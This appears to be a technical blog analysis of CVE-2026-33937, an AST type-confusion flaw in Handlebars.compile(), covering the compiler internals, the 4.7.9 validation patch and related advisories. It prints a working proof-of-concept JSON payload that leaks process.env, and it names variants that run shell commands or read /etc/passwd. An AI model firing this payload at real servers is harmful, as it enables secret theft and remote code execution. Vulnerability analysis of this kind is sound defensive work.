The PoC for CVE-2026-33937 is a JSON file. The application's HTTP handler deserializes the body, hands the resulting object to Handlebars.compile, and gets back a function. When the function is called, it stringifies process.env into the rendered email. The single commit that fixes this in Handlebars 4.7.9 fixes seven other advisories alongside it. Three of them have the same four words in their title: JavaScript Injection via AST Type Confusion. Handlebars accepted parsed ASTs from external callers for fourteen years. It validated them for the first time this March.
CVE-2026-33937: Handlebars Trusts Its Own AST
patterns
cve
proof of concept
Handlebars.compile() accepts a string. It also accepts an AST. It does not announce which it received.
The dispatch is in lib/handlebars/compiler/base.js:
export function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') {
return input;
}
parser.yy = yy;
...
let ast = parser.parse(input);
return ast;
}The fast-path exists for a build-step workflow. A precompiler runs at build time, parses every template the project ships, and emits the AST as a JavaScript object. At runtime, compile() is called with that AST and skips the parser. The author chose to expose the dispatch on the same API as the string path, with no second function name and no flag, because internally the library composes parse plus codegen and the composition is convenient at every level.
The function does not announce which path it took. The developer's call site reads:
const renderEmail = Handlebars.compile(editorTemplateData);If editorTemplateData is a string, the parser runs. If editorTemplateData is an object whose type is the string Program, the parser does not run. The developer cannot tell from the call site which happened. The library treats both as legitimate inputs.
express.json() is the same dispatch on the wire side. The middleware deserializes the request body into native JavaScript, then hands it to the route handler. A handler that reads req.body.editorTemplateData gets a string when the wire delivered a string, and an object when the wire delivered an object. The middleware does not enforce a type; it cannot, because it cannot know which the route expected.
The PoC composes the two. The vulnerable application is a Korean B2B email builder, eighteen lines of Express, advertised in its own startup banner with the line Warning: Handlebars v4.7.6 (Vulnerable). The route handler reads:
app.post('/api/email/preview', (req, res) => {
const { subject, editorTemplateData } = req.body;
if (!editorTemplateData) return res.status(400).json({ error: "..." });
const renderEmail = Handlebars.compile(editorTemplateData);
const finalHtml = renderEmail({ customerName: "...", companyName: "EQST" });
return res.status(200).json({ success: true, html: finalHtml });
});The PoC posts:
{
"subject": "x",
"editorTemplateData": {
"type": "Program",
"body": [{
"type": "MustacheStatement",
"path": { "type": "PathExpression", "parts": ["log"] },
"params": [{
"type": "BooleanLiteral",
"value": "{}, {hash: {}})) + JSON.stringify(process.env) + Object(String(''"
}],
"escaped": true,
"loc": { "start": {}, "end": {} }
}]
}
}The middleware delivers the value of editorTemplateData as an object. The handler passes it to Handlebars.compile. The compiler checks input.type === 'Program' and returns the input as-is. The parser does not run. The codegen runs against an AST the parser never produced.
BooleanLiteral.value was a boolean by parser construction.
The parser produces BooleanLiteral nodes when it tokenizes {{foo true}} or {{foo false}}. The relevant case in parser.js:
case 37: this.$ = {
type: 'BooleanLiteral',
value: $$[$0] === 'true',
original: $$[$0] === 'true',
loc: yy.locInfo(this._$)
};The value field is the result of a strict-equality comparison between the source token and the literal string 'true'. The parser cannot produce a BooleanLiteral whose value is anything other than true or false. Every consumer downstream of the parser was written against that invariant.
The compiler's BooleanLiteral handler trusts the invariant:
BooleanLiteral: function(bool) {
this.opcode('pushLiteral', bool.value);
},pushLiteral walks down to the JavaScript code generator:
pushLiteral: function(value) {
this.pushStackLiteral(value);
},
pushStackLiteral: function(item) {
this.push(new Literal(item));
},A Literal is a wrapper class with one field. When the helper invocation that the MustacheStatement compiles into gets emitted, the Literal's value is interpolated into the generated source raw:
let top = this.popStack(true);
if (top instanceof Literal) {
// Literals do not need to be inlined
stack = [top.value];
prefix = ['(', stack];
...
}top.value is the string the attacker put in the JSON. It becomes part of the source the compiler is generating. The generated function for the PoC's AST resolves to a helper-invocation expression that contains, verbatim, the attacker's payload as a code fragment:
... .call(depth0 != null ? depth0 : container.nullContext,
{}, {hash: {}})) + JSON.stringify(process.env) + Object(String(''
, { name: "log", hash: {}, data: data, loc: ... })) ...The }, {hash: {}})) closes the helper's .call(...) invocation early. The + JSON.stringify(process.env) + Object(String(' is concatenated into the function's return value. The trailing Object(String(' is left open so the closing , { name: "log", ... })) that the codegen emits next finishes a string-coercion call instead of breaking the syntax. The compiled function returns the rendered template appended with the JSON-stringified contents of process.env.
The PoC chooses environment-variable disclosure because it produces visible output in the HTTP response body. The same primitive substitutes any JavaScript expression for JSON.stringify(...). Replacing it with require("child_process").execSync("id").toString() spawns a process when the function is called. Replacing it with require("fs").readFileSync("/etc/passwd","utf8") reads files. The blast radius is RCE.
The patch added 67 lines to one file.
lib/handlebars/compiler/base.js in 4.7.9 has a new validateInputAst function. It runs at the same fast-path entry that returned early in 4.7.8:
export function parseWithoutProcessing(input, options) {
// Just return if an already-compiled AST was passed in.
if (input.type === 'Program') {
+ // When a pre-parsed AST is passed in, validate all node values to prevent
+ // code injection via type-confused literals.
+ validateInputAst(input);
return input;
}The validator is a recursive walker. The relevant body:
function validateAstNode(node) {
if (node == null) return;
if (Array.isArray(node)) { node.forEach(validateAstNode); return; }
if (typeof node !== 'object') return;
if (node.type === 'PathExpression') {
if (!isValidDepth(node.depth)) {
throw new Exception('Invalid AST: PathExpression.depth must be an integer');
}
if (!Array.isArray(node.parts)) {
throw new Exception('Invalid AST: PathExpression.parts must be an array');
}
for (let i = 0; i < node.parts.length; i++) {
if (typeof node.parts[i] !== 'string') {
throw new Exception('Invalid AST: PathExpression.parts must only contain strings');
}
}
} else if (node.type === 'NumberLiteral') {
if (typeof node.value !== 'number' || !isFinite(node.value)) {
throw new Exception('Invalid AST: NumberLiteral.value must be a number');
}
} else if (node.type === 'BooleanLiteral') {
if (typeof node.value !== 'boolean') {
throw new Exception('Invalid AST: BooleanLiteral.value must be a boolean');
}
}
Object.keys(node).forEach(propertyName => {
if (propertyName === 'loc') return;
validateAstNode(node[propertyName]);
});
}Three node types get explicit type checks: PathExpression, NumberLiteral, BooleanLiteral. These are the three whose value fields the codegen interpolates raw into generated JavaScript. StringLiteral.value does not need a check because the codegen quotes it via quotedString(). UndefinedLiteral and NullLiteral have no value field at all; the codegen emits the hardcoded strings 'undefined' and 'null' directly. Every other field on every other node gets visited but not type-checked, because no other codegen path was raw-emitting those fields.
The patch is a contract specification, retroactively. Until 4.7.9, the AST type system in Handlebars was a documentation convention. The parser produced nodes with documented field types. The compiler trusted the documentation. The validator is the first time the contract was enforced as code.
One commit. Eight advisories. Three with the same four words.
The commit message:
commit 68d8df5
Author: Jakob Linskeseder
Date: Tue Mar 24 17:59:28 2026 +0100
Fix security issues
Fixes GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6, GHSA-3mfm-83xf-c92r,
GHSA-2qvq-rjwj-gvw9, GHSA-9cx6-37pm-9jff, GHSA-7rx3-28cr-v5wh,
GHSA-442j-39wm-28r2, GHSA-xjpj-3mr7-gcpfThree of the eight advisory titles share the same four-word phrase:
- GHSA-2w6w-674q-4c4q (CVE-2026-33937, Critical): JavaScript Injection via AST Type Confusion in compile
- GHSA-xhpv-hc6g-r9c6 (High): JavaScript Injection via AST Type Confusion by passing an object as dynamic partial
- GHSA-3mfm-83xf-c92r (High): JavaScript Injection via AST Type Confusion by tampering @partial-block
The other five are adjacent. GHSA-xjpj-3mr7-gcpf is JavaScript injection in the CLI precompiler, the build-step counterpart to the runtime API. GHSA-9cx6-37pm-9jff is denial-of-service via malformed decorator syntax. GHSA-2qvq-rjwj-gvw9 is prototype pollution via partial template injection. GHSA-7rx3-28cr-v5wh is a missing entry in the prototype-method blocklist. GHSA-442j-39wm-28r2 is a property-access bypass in the runtime helper. The eight reach Handlebars by eight different entry points and produce primitives that range from RCE to XSS to DoS.
What unifies them is not the bug class. The unifier is the substrate: every public API surface in Handlebars converts caller-influenced inputs into JavaScript that the runtime executes, and each surface trusted upstream invariants that no API consumer was contractually obliged to maintain. The eight researchers found eight different surfaces. The single commit closes them by writing down the contracts that were previously implicit.
This is a design-debt-driver, again.
Handlebars has produced this shape of CVE before. CVE-2019-19919 was prototype pollution through the lookupProperty helper. CVE-2019-20920 was RCE through Object.__defineGetter__. CVE-2021-23369 was an RCE in compileToCallback strict-mode bypass. CVE-2021-23383 was RCE via __proto__ pollution in compile. The 4.7.9 family is the next instance.
What every fix has in common is that it closed the specific surface and left the substrate intact. The substrate is the public API converting caller-influenced inputs into JavaScript the runtime executes. The closing of any one surface does not change the substrate. The next CVE arrives when the next researcher finds the next surface. Nothing about the 4.7.9 patch reduces the number of surfaces; it adds invariant checks at three of them and leaves the rest of the codebase to the next discovery.
The pattern at the wire boundary is content-is-command. A field whose name is editorTemplateData and whose surrounding documentation calls it a template carries either a template (passive content) or an instruction stream that the library compiles into JavaScript. The interpreter chooses based on shape, with no preference for the safer interpretation. express.json() and Handlebars.compile are independent components that each made a defensible choice in isolation: express.json deserializes whatever the wire delivered, and compile accepts whatever its caller passes. The composition produces a wire-to-JavaScript pipeline that no individual contract names.
The advisory recommends two mitigations. The first is a one-line type guard at every compile() call site: if (typeof template !== 'string') throw. The second is to switch to the runtime-only build (handlebars/runtime), which does not include compile() at all. The runtime-only build requires precompilation as a separate build step, which most applications structurally cannot adopt; their use case is letting end users author templates at runtime. Applications that picked Handlebars specifically because users author templates can take the type-guard mitigation and watch for the next family.
The contract was implicit.
Handlebars.compile accepted parsed ASTs from external callers since the project's first release. Until March 24, 2026, the function did not check whether the AST it accepted had the shape the parser produced. Eight researchers, working independently, found eight surfaces where the missing check produced a primitive. The single commit that fixed them is the first time the library wrote down what its AST was supposed to look like.
The contract was always there. The contract was always implicit. Eight CVEs is the price of the implicit contract being load-bearing for fourteen years.
Handlebars accepted parsed ASTs from external callers for fourteen years. It validated them for the first time this March.